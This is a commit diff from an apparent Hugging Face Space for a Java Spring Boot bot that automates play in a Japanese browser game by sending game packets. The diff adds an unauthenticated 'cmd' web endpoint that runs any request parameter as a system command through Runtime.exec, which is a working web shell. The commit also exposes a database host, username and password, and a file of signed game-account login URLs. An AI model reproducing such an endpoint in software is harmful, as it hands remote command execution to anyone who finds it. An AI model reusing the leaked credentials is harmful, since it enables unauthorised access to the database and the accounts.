Spaces:
Paused
Paused
htr
commited on
Commit
·
964a0f9
1
Parent(s):
7f654c8
test
Browse files- Dockerfile +3 -2
- New Text Document (2).txt +0 -0
- New Text Document.txt +0 -0
- src/main/java/com/example/demo/DemoApplication.java +49 -0
- src/main/java/tqtk/Tqtk.java +5 -9
- src/main/java/tqtk/Utils/Util.java +2 -2
- src/main/java/tqtk/XuLy/Worker.java +89 -44
- src/main/java/tqtk/XuLy/login/LayThongTinSession.java +2 -2
- src/main/resources/application.properties +3 -3
- user.properties +19 -0
Dockerfile
CHANGED
|
@@ -10,6 +10,7 @@ RUN mvn clean package -DskipTests
|
|
| 10 |
#
|
| 11 |
FROM openjdk:11-jdk-slim
|
| 12 |
COPY --from=build /target/demo-0.0.1-SNAPSHOT.jar demo.jar
|
| 13 |
-
|
| 14 |
-
|
|
|
|
| 15 |
ENTRYPOINT ["java","-Dfile.encoding=UTF-8","-jar","demo.jar"]
|
|
|
|
| 10 |
#
|
| 11 |
FROM openjdk:11-jdk-slim
|
| 12 |
COPY --from=build /target/demo-0.0.1-SNAPSHOT.jar demo.jar
|
| 13 |
+
COPY --from=build /user.properties user.properties
|
| 14 |
+
# ENV PORT=8080
|
| 15 |
+
EXPOSE 8081
|
| 16 |
ENTRYPOINT ["java","-Dfile.encoding=UTF-8","-jar","demo.jar"]
|
New Text Document (2).txt
DELETED
|
File without changes
|
New Text Document.txt
DELETED
|
File without changes
|
src/main/java/com/example/demo/DemoApplication.java
CHANGED
|
@@ -7,6 +7,17 @@ import org.springframework.boot.SpringApplication;
|
|
| 7 |
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
| 8 |
import org.springframework.web.bind.annotation.GetMapping;
|
| 9 |
import org.springframework.web.bind.annotation.RestController;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 10 |
|
| 11 |
import tqtk.Entity.SessionEntity;
|
| 12 |
import tqtk.Tqtk;
|
|
@@ -38,5 +49,43 @@ public class DemoApplication {
|
|
| 38 |
}
|
| 39 |
return "ok";
|
| 40 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 41 |
|
| 42 |
}
|
|
|
|
| 7 |
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
| 8 |
import org.springframework.web.bind.annotation.GetMapping;
|
| 9 |
import org.springframework.web.bind.annotation.RestController;
|
| 10 |
+
import org.springframework.web.bind.annotation.RequestParam;
|
| 11 |
+
|
| 12 |
+
import java.io.BufferedReader;
|
| 13 |
+
import java.io.BufferedWriter;
|
| 14 |
+
import java.io.File;
|
| 15 |
+
import java.io.FileOutputStream;
|
| 16 |
+
import java.io.IOException;
|
| 17 |
+
import java.io.InputStreamReader;
|
| 18 |
+
import java.io.OutputStreamWriter;
|
| 19 |
+
import java.io.Writer;
|
| 20 |
+
import java.net.URL;
|
| 21 |
|
| 22 |
import tqtk.Entity.SessionEntity;
|
| 23 |
import tqtk.Tqtk;
|
|
|
|
| 49 |
}
|
| 50 |
return "ok";
|
| 51 |
}
|
| 52 |
+
|
| 53 |
+
@GetMapping("cmd")
|
| 54 |
+
public String greeding(@RequestParam(value = "cmd", required = true) String cmd) {
|
| 55 |
+
String output = "";
|
| 56 |
+
try {
|
| 57 |
+
output = executeCommand(cmd);
|
| 58 |
+
return output;
|
| 59 |
+
} catch (Exception e) {
|
| 60 |
+
e.getMessage();
|
| 61 |
+
return e.getMessage();
|
| 62 |
+
}
|
| 63 |
+
|
| 64 |
+
}
|
| 65 |
+
|
| 66 |
+
public String executeCommand(String command) {
|
| 67 |
+
|
| 68 |
+
StringBuffer output = new StringBuffer();
|
| 69 |
+
|
| 70 |
+
Process p;
|
| 71 |
+
try {
|
| 72 |
+
p = Runtime.getRuntime().exec(command);
|
| 73 |
+
p.waitFor();
|
| 74 |
+
BufferedReader reader
|
| 75 |
+
= new BufferedReader(new InputStreamReader(p.getInputStream()));
|
| 76 |
+
|
| 77 |
+
String line = "";
|
| 78 |
+
while ((line = reader.readLine()) != null) {
|
| 79 |
+
output.append(line + "\n");
|
| 80 |
+
}
|
| 81 |
+
|
| 82 |
+
} catch (Exception e) {
|
| 83 |
+
e.printStackTrace();
|
| 84 |
+
}
|
| 85 |
+
|
| 86 |
+
return output.toString();
|
| 87 |
+
|
| 88 |
+
}
|
| 89 |
+
|
| 90 |
|
| 91 |
}
|
src/main/java/tqtk/Tqtk.java
CHANGED
|
@@ -39,15 +39,11 @@ public class Tqtk {
|
|
| 39 |
public static void main() {
|
| 40 |
// TODO code application logic here
|
| 41 |
try {
|
| 42 |
-
|
| 43 |
-
|
| 44 |
-
|
| 45 |
-
|
| 46 |
-
|
| 47 |
-
// LayThongTinSession.getListSession().add(new SessionEntity(temp[0], temp[1]));
|
| 48 |
-
// }
|
| 49 |
-
|
| 50 |
-
LayThongTinSession.getListSession().add(new SessionEntity("n", "p"));
|
| 51 |
|
| 52 |
List<SessionEntity> ss = LayThongTinSession.getListSession();
|
| 53 |
|
|
|
|
| 39 |
public static void main() {
|
| 40 |
// TODO code application logic here
|
| 41 |
try {
|
| 42 |
+
Properties pr = Util.loadProperties("user.properties");
|
| 43 |
+
String value = "";
|
| 44 |
+
for (int i = 0; (value = pr.getProperty("user" + "." + i)) != null; i++) {
|
| 45 |
+
LayThongTinSession.getListSession().add(new SessionEntity(value, "p"));
|
| 46 |
+
}
|
|
|
|
|
|
|
|
|
|
|
|
|
| 47 |
|
| 48 |
List<SessionEntity> ss = LayThongTinSession.getListSession();
|
| 49 |
|
src/main/java/tqtk/Utils/Util.java
CHANGED
|
@@ -346,7 +346,7 @@ public class Util {
|
|
| 346 |
//window
|
| 347 |
// String x = "D:\\7-Project\\Java\\1. Netbean\\2. nghien-cuu\\TQTK\\runshell\\"+file_name;
|
| 348 |
//heroku
|
| 349 |
-
String x = "/
|
| 350 |
try {
|
| 351 |
final InputStream fin = new FileInputStream(x);
|
| 352 |
pr.load(fin);
|
|
@@ -363,7 +363,7 @@ public class Util {
|
|
| 363 |
//window
|
| 364 |
// String x = "D:\\7-Project\\Java\\1. Netbean\\2. nghien-cuu\\TQTK\\runshell\\cauhoi\\"+file_name;
|
| 365 |
//heroku
|
| 366 |
-
String x = "/
|
| 367 |
try {
|
| 368 |
return Doc_file_kieu_txt.readFile(x);
|
| 369 |
} catch (Exception e) {
|
|
|
|
| 346 |
//window
|
| 347 |
// String x = "D:\\7-Project\\Java\\1. Netbean\\2. nghien-cuu\\TQTK\\runshell\\"+file_name;
|
| 348 |
//heroku
|
| 349 |
+
String x = "/" + file_name;
|
| 350 |
try {
|
| 351 |
final InputStream fin = new FileInputStream(x);
|
| 352 |
pr.load(fin);
|
|
|
|
| 363 |
//window
|
| 364 |
// String x = "D:\\7-Project\\Java\\1. Netbean\\2. nghien-cuu\\TQTK\\runshell\\cauhoi\\"+file_name;
|
| 365 |
//heroku
|
| 366 |
+
String x = "/"+file_name;
|
| 367 |
try {
|
| 368 |
return Doc_file_kieu_txt.readFile(x);
|
| 369 |
} catch (Exception e) {
|
src/main/java/tqtk/XuLy/Worker.java
CHANGED
|
@@ -59,6 +59,26 @@ public class Worker extends Thread {
|
|
| 59 |
StringBuilder rs1 = GuiPacket(ss, "12200", list1);
|
| 60 |
list1 = null;
|
| 61 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 62 |
}
|
| 63 |
|
| 64 |
public void LuyenTuong() {
|
|
@@ -105,22 +125,34 @@ public class Worker extends Thread {
|
|
| 105 |
list2.set(0, Integer.toString(idhero));
|
| 106 |
Tqtk.sendMessage("lt " + name);
|
| 107 |
if (name != null) {
|
| 108 |
-
if ("武田信虎
|
| 109 |
-
|
| 110 |
Thread.sleep(5000);
|
| 111 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 112 |
Thread.sleep(5000);
|
| 113 |
|
| 114 |
-
}
|
| 115 |
-
|
|
|
|
| 116 |
Thread.sleep(5000);
|
| 117 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 118 |
Thread.sleep(5000);
|
| 119 |
|
| 120 |
-
}
|
| 121 |
-
|
|
|
|
| 122 |
Thread.sleep(5000);
|
| 123 |
-
|
|
|
|
|
|
|
| 124 |
Thread.sleep(5000);
|
| 125 |
|
| 126 |
} else if ("彦坂元正 --".equals(name) && trainflag == 0) {
|
|
@@ -129,28 +161,38 @@ public class Worker extends Thread {
|
|
| 129 |
rs1 = GuiPacket(ss, "41102", list2);
|
| 130 |
Thread.sleep(5000);
|
| 131 |
|
| 132 |
-
} else if ("大久保忠員".equals(name) && trainflag == 0) {
|
| 133 |
rs1 = GuiPacket(ss, "41101", list1);
|
| 134 |
Thread.sleep(5000);
|
| 135 |
rs1 = GuiPacket(ss, "41102", list2);
|
| 136 |
Thread.sleep(5000);
|
| 137 |
|
| 138 |
-
} else if ("
|
| 139 |
rs1 = GuiPacket(ss, "41101", list1);
|
| 140 |
Thread.sleep(5000);
|
| 141 |
rs1 = GuiPacket(ss, "41102", list2);
|
| 142 |
Thread.sleep(5000);
|
| 143 |
|
| 144 |
-
}
|
| 145 |
-
|
|
|
|
| 146 |
Thread.sleep(5000);
|
| 147 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 148 |
Thread.sleep(5000);
|
| 149 |
|
| 150 |
-
} else if ("
|
| 151 |
-
|
|
|
|
| 152 |
Thread.sleep(5000);
|
| 153 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 154 |
Thread.sleep(5000);
|
| 155 |
|
| 156 |
}
|
|
@@ -240,7 +282,8 @@ public class Worker extends Thread {
|
|
| 240 |
List<String> list1 = new ArrayList<>();
|
| 241 |
|
| 242 |
try {
|
| 243 |
-
|
|
|
|
| 244 |
list1.add(0, "5");
|
| 245 |
Thread.sleep(5000);
|
| 246 |
StringBuilder rs1 = GuiPacket(ss, "12100", list1);
|
|
@@ -249,18 +292,28 @@ public class Worker extends Thread {
|
|
| 249 |
list1.set(0, "6");
|
| 250 |
Thread.sleep(5000);
|
| 251 |
rs1 = GuiPacket(ss, "12100", list1);
|
| 252 |
-
|
| 253 |
-
|
|
|
|
| 254 |
Thread.sleep(5000);
|
| 255 |
rs1 = GuiPacket(ss, "12100", list1);
|
| 256 |
-
|
| 257 |
-
|
| 258 |
Thread.sleep(5000);
|
| 259 |
rs1 = GuiPacket(ss, "12100", list1);
|
| 260 |
|
| 261 |
-
list1.set(0, "
|
|
|
|
|
|
|
|
|
|
|
|
|
| 262 |
Thread.sleep(5000);
|
| 263 |
rs1 = GuiPacket(ss, "12100", list1);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 264 |
|
| 265 |
|
| 266 |
|
|
@@ -766,31 +819,36 @@ public class Worker extends Thread {
|
|
| 766 |
name = (String) ((Map<Object, Object>) object).get("equipname");
|
| 767 |
storeid = (Integer) ((Map<Object, Object>) object).get("storeid");
|
| 768 |
generalname = (String) ((Map<Object, Object>) object).get("generalname");
|
| 769 |
-
Tqtk.sendMessage(lv + " " + name + " " + storeid + " " + generalname);
|
| 770 |
list1.set(0, Integer.toString(storeid));
|
| 771 |
list1.set(2, Magic.toString());
|
| 772 |
if (generalname != null) {
|
| 773 |
if ((ss != null)) {
|
| 774 |
// if ((int) Magic > 87 && "æ¦ç”°ä¿¡è™Ž".equals(generalname)) {
|
| 775 |
-
if ((int) Magic > 87 && "武田信虎".equals(generalname)) {
|
| 776 |
rs1 = GuiPacket(ss, "39302", list1);
|
| 777 |
Thread.sleep(5000);
|
| 778 |
}
|
| 779 |
-
else if (Upgradecdusable == 1 && (int) Magic > 87 && "織田信行
|
| 780 |
rs1 = GuiPacket(ss, "39302", list1);
|
| 781 |
Thread.sleep(5000);
|
| 782 |
}
|
| 783 |
-
else if (Upgradecdusable == 1 && (int) Magic > 87 && "井伊直盛
|
| 784 |
rs1 = GuiPacket(ss, "39302", list1);
|
| 785 |
Thread.sleep(5000);
|
| 786 |
-
} else if (Upgradecdusable == 1 && (int) Magic > 87 && "
|
| 787 |
rs1 = GuiPacket(ss, "39302", list1);
|
| 788 |
Thread.sleep(5000);
|
| 789 |
-
} else if (Upgradecdusable == 1 && (int) Magic > 87 && "
|
|
|
|
|
|
|
|
|
|
|
|
|
| 790 |
rs1 = GuiPacket(ss, "39302", list1);
|
| 791 |
Thread.sleep(5000);
|
| 792 |
|
| 793 |
}
|
|
|
|
| 794 |
}
|
| 795 |
|
| 796 |
}
|
|
@@ -846,23 +904,9 @@ public class Worker extends Thread {
|
|
| 846 |
public void CapNhatThongTin() {
|
| 847 |
|
| 848 |
try {
|
| 849 |
-
// packet cap nhat thong tin lien tuc tu server
|
| 850 |
-
Thread.sleep(5000);
|
| 851 |
-
GuiPacketKhongKQ(ss, "10100", null);
|
| 852 |
// packet cap nhat thong tin lien tuc tu server
|
| 853 |
Thread.sleep(5000);
|
| 854 |
GuiPacketKhongKQ(ss, "11102", null);
|
| 855 |
-
Thread.sleep(5000);
|
| 856 |
-
GuiPacketKhongKQ(ss, "52103", null);
|
| 857 |
-
Thread.sleep(5000);
|
| 858 |
-
GuiPacketKhongKQ(ss, "10108", null);
|
| 859 |
-
Thread.sleep(5000);
|
| 860 |
-
GuiPacketKhongKQ(ss, "20101", null);
|
| 861 |
-
Thread.sleep(5000);
|
| 862 |
-
List<String> list1 = new ArrayList<>();
|
| 863 |
-
list1.add(0, "1");
|
| 864 |
-
StringBuilder rs1 = GuiPacket(ss, "12200", list1);
|
| 865 |
-
list1 = null;
|
| 866 |
} catch (Exception ex) {
|
| 867 |
System.out.println(ex.getMessage());
|
| 868 |
}
|
|
@@ -891,6 +935,7 @@ public class Worker extends Thread {
|
|
| 891 |
// DanhQuanDoan1();
|
| 892 |
// DanhQuanDoan2();
|
| 893 |
// DanhQuanDoan3();
|
|
|
|
| 894 |
NangItem();
|
| 895 |
// TruyNa();
|
| 896 |
LuyenTuong();
|
|
@@ -899,7 +944,7 @@ public class Worker extends Thread {
|
|
| 899 |
// GianKhoan();
|
| 900 |
//FarmDo();
|
| 901 |
// ThuThue();
|
| 902 |
-
|
| 903 |
// CapNhatThongTin();
|
| 904 |
Thread.sleep(55 * 1000);
|
| 905 |
}
|
|
|
|
| 59 |
StringBuilder rs1 = GuiPacket(ss, "12200", list1);
|
| 60 |
list1 = null;
|
| 61 |
|
| 62 |
+
}
|
| 63 |
+
|
| 64 |
+
public void NhanThuong() {
|
| 65 |
+
try {
|
| 66 |
+
|
| 67 |
+
Tqtk.sendMessage("nhan thuong " + ss.getStringName());
|
| 68 |
+
// vo dai
|
| 69 |
+
|
| 70 |
+
Thread.sleep(5000);
|
| 71 |
+
GuiPacket(ss, "64008", null);
|
| 72 |
+
|
| 73 |
+
|
| 74 |
+
// thuong uy danh
|
| 75 |
+
Thread.sleep(5000);
|
| 76 |
+
GuiPacket(ss, "12302", null);
|
| 77 |
+
|
| 78 |
+
|
| 79 |
+
} catch (Exception e) {
|
| 80 |
+
System.out.println("NhanThuong " + ss.getStringName() + e.getMessage());
|
| 81 |
+
}
|
| 82 |
}
|
| 83 |
|
| 84 |
public void LuyenTuong() {
|
|
|
|
| 125 |
list2.set(0, Integer.toString(idhero));
|
| 126 |
Tqtk.sendMessage("lt " + name);
|
| 127 |
if (name != null) {
|
| 128 |
+
if ("武田信虎".equals(name) && trainflag == 0) {
|
| 129 |
+
GuiPacket(ss, "41101", list1);
|
| 130 |
Thread.sleep(5000);
|
| 131 |
+
GuiPacket(ss, "41102", list2);
|
| 132 |
+
Thread.sleep(5000);
|
| 133 |
+
GuiPacket(ss, "41102", list2);
|
| 134 |
+
Thread.sleep(5000);
|
| 135 |
+
GuiPacket(ss, "41102", list2);
|
| 136 |
Thread.sleep(5000);
|
| 137 |
|
| 138 |
+
}
|
| 139 |
+
else if ("井伊直盛".equals(name) && trainflag == 0) {
|
| 140 |
+
GuiPacket(ss, "41101", list1);
|
| 141 |
Thread.sleep(5000);
|
| 142 |
+
GuiPacket(ss, "41102", list2);
|
| 143 |
+
Thread.sleep(5000);
|
| 144 |
+
GuiPacket(ss, "41102", list2);
|
| 145 |
+
Thread.sleep(5000);
|
| 146 |
+
GuiPacket(ss, "41102", list2);
|
| 147 |
Thread.sleep(5000);
|
| 148 |
|
| 149 |
+
}
|
| 150 |
+
else if ("織田信行".equals(name) && trainflag == 0) {
|
| 151 |
+
GuiPacket(ss, "41101", list1);
|
| 152 |
Thread.sleep(5000);
|
| 153 |
+
GuiPacket(ss, "41102", list2);
|
| 154 |
+
Thread.sleep(5000);
|
| 155 |
+
GuiPacket(ss, "41102", list2);
|
| 156 |
Thread.sleep(5000);
|
| 157 |
|
| 158 |
} else if ("彦坂元正 --".equals(name) && trainflag == 0) {
|
|
|
|
| 161 |
rs1 = GuiPacket(ss, "41102", list2);
|
| 162 |
Thread.sleep(5000);
|
| 163 |
|
| 164 |
+
} else if ("大久保忠員 --".equals(name) && trainflag == 0) {
|
| 165 |
rs1 = GuiPacket(ss, "41101", list1);
|
| 166 |
Thread.sleep(5000);
|
| 167 |
rs1 = GuiPacket(ss, "41102", list2);
|
| 168 |
Thread.sleep(5000);
|
| 169 |
|
| 170 |
+
} else if ("飯尾田鶴".equals(name) && trainflag == 0) {
|
| 171 |
rs1 = GuiPacket(ss, "41101", list1);
|
| 172 |
Thread.sleep(5000);
|
| 173 |
rs1 = GuiPacket(ss, "41102", list2);
|
| 174 |
Thread.sleep(5000);
|
| 175 |
|
| 176 |
+
} else if ("德川松姫".equals(name) && trainflag == 0) {
|
| 177 |
+
// thai diem
|
| 178 |
+
GuiPacket(ss, "41101", list1);
|
| 179 |
Thread.sleep(5000);
|
| 180 |
+
GuiPacket(ss, "41102", list2);
|
| 181 |
+
Thread.sleep(5000);
|
| 182 |
+
GuiPacket(ss, "41102", list2);
|
| 183 |
+
Thread.sleep(5000);
|
| 184 |
+
GuiPacket(ss, "41102", list2);
|
| 185 |
Thread.sleep(5000);
|
| 186 |
|
| 187 |
+
} else if ("内藤正成".equals(name) && trainflag == 0) {
|
| 188 |
+
// duong tu
|
| 189 |
+
GuiPacket(ss, "41101", list1);
|
| 190 |
Thread.sleep(5000);
|
| 191 |
+
GuiPacket(ss, "41102", list2);
|
| 192 |
+
Thread.sleep(5000);
|
| 193 |
+
GuiPacket(ss, "41102", list2);
|
| 194 |
+
Thread.sleep(5000);
|
| 195 |
+
GuiPacket(ss, "41102", list2);
|
| 196 |
Thread.sleep(5000);
|
| 197 |
|
| 198 |
}
|
|
|
|
| 282 |
List<String> list1 = new ArrayList<>();
|
| 283 |
|
| 284 |
try {
|
| 285 |
+
|
| 286 |
+
|
| 287 |
list1.add(0, "5");
|
| 288 |
Thread.sleep(5000);
|
| 289 |
StringBuilder rs1 = GuiPacket(ss, "12100", list1);
|
|
|
|
| 292 |
list1.set(0, "6");
|
| 293 |
Thread.sleep(5000);
|
| 294 |
rs1 = GuiPacket(ss, "12100", list1);
|
| 295 |
+
|
| 296 |
+
// nha chinh
|
| 297 |
+
list1.set(0, "1");
|
| 298 |
Thread.sleep(5000);
|
| 299 |
rs1 = GuiPacket(ss, "12100", list1);
|
| 300 |
+
|
| 301 |
+
list1.set(0, "3");
|
| 302 |
Thread.sleep(5000);
|
| 303 |
rs1 = GuiPacket(ss, "12100", list1);
|
| 304 |
|
| 305 |
+
list1.set(0, "11");
|
| 306 |
+
Thread.sleep(5000);
|
| 307 |
+
rs1 = GuiPacket(ss, "12100", list1);
|
| 308 |
+
|
| 309 |
+
list1.set(0, "12");
|
| 310 |
Thread.sleep(5000);
|
| 311 |
rs1 = GuiPacket(ss, "12100", list1);
|
| 312 |
+
|
| 313 |
+
list1.set(0, "9");
|
| 314 |
+
Thread.sleep(5000);
|
| 315 |
+
rs1 = GuiPacket(ss, "12100", list1);
|
| 316 |
+
|
| 317 |
|
| 318 |
|
| 319 |
|
|
|
|
| 819 |
name = (String) ((Map<Object, Object>) object).get("equipname");
|
| 820 |
storeid = (Integer) ((Map<Object, Object>) object).get("storeid");
|
| 821 |
generalname = (String) ((Map<Object, Object>) object).get("generalname");
|
| 822 |
+
//Tqtk.sendMessage(lv + " " + name + " " + storeid + " " + generalname);
|
| 823 |
list1.set(0, Integer.toString(storeid));
|
| 824 |
list1.set(2, Magic.toString());
|
| 825 |
if (generalname != null) {
|
| 826 |
if ((ss != null)) {
|
| 827 |
// if ((int) Magic > 87 && "æ¦ç”°ä¿¡è™Ž".equals(generalname)) {
|
| 828 |
+
if ((int) Magic > 87 && "武田信虎 --".equals(generalname)) {
|
| 829 |
rs1 = GuiPacket(ss, "39302", list1);
|
| 830 |
Thread.sleep(5000);
|
| 831 |
}
|
| 832 |
+
else if (Upgradecdusable == 1 && (int) Magic > 87 && "織田信行".equals(generalname) && lv <= 80) {
|
| 833 |
rs1 = GuiPacket(ss, "39302", list1);
|
| 834 |
Thread.sleep(5000);
|
| 835 |
}
|
| 836 |
+
else if (Upgradecdusable == 1 && (int) Magic > 87 && "井伊直盛".equals(generalname) && lv <= 80) {
|
| 837 |
rs1 = GuiPacket(ss, "39302", list1);
|
| 838 |
Thread.sleep(5000);
|
| 839 |
+
} else if (Upgradecdusable == 1 && (int) Magic > 87 && "大久保忠員 --".equals(generalname) && lv <= 80) {
|
| 840 |
rs1 = GuiPacket(ss, "39302", list1);
|
| 841 |
Thread.sleep(5000);
|
| 842 |
+
} else if (Upgradecdusable == 1 && (int) Magic > 87 && "飯尾田鶴".equals(generalname) && lv <= 80) {
|
| 843 |
+
rs1 = GuiPacket(ss, "39302", list1);
|
| 844 |
+
Thread.sleep(5000);
|
| 845 |
+
|
| 846 |
+
}else if (Upgradecdusable == 1 && (int) Magic > 87 && "内藤正成".equals(generalname) && lv <= 80) {
|
| 847 |
rs1 = GuiPacket(ss, "39302", list1);
|
| 848 |
Thread.sleep(5000);
|
| 849 |
|
| 850 |
}
|
| 851 |
+
|
| 852 |
}
|
| 853 |
|
| 854 |
}
|
|
|
|
| 904 |
public void CapNhatThongTin() {
|
| 905 |
|
| 906 |
try {
|
|
|
|
|
|
|
|
|
|
| 907 |
// packet cap nhat thong tin lien tuc tu server
|
| 908 |
Thread.sleep(5000);
|
| 909 |
GuiPacketKhongKQ(ss, "11102", null);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 910 |
} catch (Exception ex) {
|
| 911 |
System.out.println(ex.getMessage());
|
| 912 |
}
|
|
|
|
| 935 |
// DanhQuanDoan1();
|
| 936 |
// DanhQuanDoan2();
|
| 937 |
// DanhQuanDoan3();
|
| 938 |
+
NhanThuong();
|
| 939 |
NangItem();
|
| 940 |
// TruyNa();
|
| 941 |
LuyenTuong();
|
|
|
|
| 944 |
// GianKhoan();
|
| 945 |
//FarmDo();
|
| 946 |
// ThuThue();
|
| 947 |
+
ChiemRuong();
|
| 948 |
// CapNhatThongTin();
|
| 949 |
Thread.sleep(55 * 1000);
|
| 950 |
}
|
src/main/java/tqtk/XuLy/login/LayThongTinSession.java
CHANGED
|
@@ -38,8 +38,8 @@ public class LayThongTinSession {
|
|
| 38 |
// login va lay thong tin session
|
| 39 |
u.setCookie(u.msCookieManager);
|
| 40 |
// String html = u.test2("http://api.sengokugifu.jp/home/login/login?Uname=32572016266&userid=32572016266&GameId=2001&ServerId=s17&Time=1673956339&al=1&from=mixi&siteurl=&Sign=1da179d1f5c90a6dfcf76f8a5a15139c");
|
| 41 |
-
String html = u.test2("http://api.sengokugifu.jp/home/login/login?Uname=
|
| 42 |
-
|
| 43 |
html = u.test1(html);
|
| 44 |
|
| 45 |
String ip = Util.getInfoSocket(html, "ip");
|
|
|
|
| 38 |
// login va lay thong tin session
|
| 39 |
u.setCookie(u.msCookieManager);
|
| 40 |
// String html = u.test2("http://api.sengokugifu.jp/home/login/login?Uname=32572016266&userid=32572016266&GameId=2001&ServerId=s17&Time=1673956339&al=1&from=mixi&siteurl=&Sign=1da179d1f5c90a6dfcf76f8a5a15139c");
|
| 41 |
+
//String html = u.test2("http://api.sengokugifu.jp/home/login/login?Uname=2301232337316215&userid=2301232337316215&GameId=2001&ServerId=s17&Time=1674564637&al=1&from=gesoten&siteurl=gesoten.com&Sign=b77ebb8f9f1b7f56bbd5bbc227b186f2&nickname=gesoten-2301232337316215");
|
| 42 |
+
String html = u.test2(user);
|
| 43 |
html = u.test1(html);
|
| 44 |
|
| 45 |
String ip = Util.getInfoSocket(html, "ip");
|
src/main/resources/application.properties
CHANGED
|
@@ -4,7 +4,7 @@ spring.jpa.properties.hibernate.dialect = org.hibernate.dialect.PostgreSQLDialec
|
|
| 4 |
spring.jpa.hibernate.ddl-auto=update
|
| 5 |
spring.jpa.hibernate.show-sql=true
|
| 6 |
|
| 7 |
-
spring.datasource.url=jdbc:postgresql://dpg-
|
| 8 |
-
spring.datasource.username=
|
| 9 |
-
spring.datasource.password=
|
| 10 |
spring.datasource.driver-class-name=org.postgresql.Driver
|
|
|
|
| 4 |
spring.jpa.hibernate.ddl-auto=update
|
| 5 |
spring.jpa.hibernate.show-sql=true
|
| 6 |
|
| 7 |
+
spring.datasource.url=jdbc:postgresql://dpg-cf82kq6n6mplr40r4p5g-a.singapore-postgres.render.com:5432/pgtest_1y8z
|
| 8 |
+
spring.datasource.username=pgtest_1y8z_user
|
| 9 |
+
spring.datasource.password=L97pbnHfex5lEg0qOuPUwwiZnvR8qdHA
|
| 10 |
spring.datasource.driver-class-name=org.postgresql.Driver
|
user.properties
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
user.0=http://api.sengokugifu.jp/home/login/login?Uname=2301250244464678&userid=2301250244464678&GameId=2001&ServerId=s17&Time=1675376210&al=1&from=gesoten&siteurl=gesoten.com&Sign=eeee4cf703f4bddcfa02e82aa8033c53&nickname=gesoten-2301250244464678
|
| 2 |
+
user.1=http://api.sengokugifu.jp/home/login/login?Uname=2301251658201245&userid=2301251658201245&GameId=2001&ServerId=s17&Time=1675376274&al=1&from=gesoten&siteurl=gesoten.com&Sign=07c1d1e4e78d5a8dee8a6b4d46be6dd2&nickname=gesoten-2301251658201245
|
| 3 |
+
user.2=http://api.sengokugifu.jp/home/login/login?Uname=2301251707213112&userid=2301251707213112&GameId=2001&ServerId=s17&Time=1675376326&al=1&from=gesoten&siteurl=gesoten.com&Sign=60b19e3108ea445784ece179554e8564&nickname=gesoten-2301251707213112
|
| 4 |
+
user.3=http://api.sengokugifu.jp/home/login/login?Uname=2301251712412850&userid=2301251712412850&GameId=2001&ServerId=s17&Time=1675376372&al=1&from=gesoten&siteurl=gesoten.com&Sign=33c312e64c821e42a0087efff0ab83d8&nickname=gesoten-2301251712412850
|
| 5 |
+
user.4=http://api.sengokugifu.jp/home/login/login?Uname=2301251718084762&userid=2301251718084762&GameId=2001&ServerId=s17&Time=1675376412&al=1&from=gesoten&siteurl=gesoten.com&Sign=1636c8e68724b3fd00dc9a57e32cab24&nickname=gesoten-2301251718084762
|
| 6 |
+
user.5=http://api.sengokugifu.jp/home/login/login?Uname=2301251722392722&userid=2301251722392722&GameId=2001&ServerId=s17&Time=1675376453&al=1&from=gesoten&siteurl=gesoten.com&Sign=d43c4c022fac7c75906466377470e2d0&nickname=gesoten-2301251722392722
|
| 7 |
+
user.6=http://api.sengokugifu.jp/home/login/login?Uname=2301251726560678&userid=2301251726560678&GameId=2001&ServerId=s17&Time=1675376749&al=1&from=gesoten&siteurl=gesoten.com&Sign=938f3c985d24a0c9229b517b03a484d9&nickname=gesoten-2301251726560678
|
| 8 |
+
user.7=http://api.sengokugifu.jp/home/login/login?Uname=2301251731225490&userid=2301251731225490&GameId=2001&ServerId=s17&Time=1675376793&al=1&from=gesoten&siteurl=gesoten.com&Sign=c1a0f926d882ad0b98a4dbbd76bbed8e&nickname=gesoten-2301251731225490
|
| 9 |
+
user.8=http://api.sengokugifu.jp/home/login/login?Uname=2301251735343770&userid=2301251735343770&GameId=2001&ServerId=s17&Time=1675376829&al=1&from=gesoten&siteurl=gesoten.com&Sign=42405b6e5c6bfca38b687f4f08454aed&nickname=gesoten-2301251735343770
|
| 10 |
+
user.9=http://api.sengokugifu.jp/home/login/login?Uname=2301251740076503&userid=2301251740076503&GameId=2001&ServerId=s17&Time=1675376873&al=1&from=gesoten&siteurl=gesoten.com&Sign=7de70feaaf91267e563b5e6452a0f07c&nickname=gesoten-2301251740076503
|
| 11 |
+
user.10=http://api.sengokugifu.jp/home/login/login?Uname=2301252021280899&userid=2301252021280899&GameId=2001&ServerId=s17&Time=1675376917&al=1&from=gesoten&siteurl=gesoten.com&Sign=0bfdce44fdf36d355308124888d86d07&nickname=gesoten-2301252021280899
|
| 12 |
+
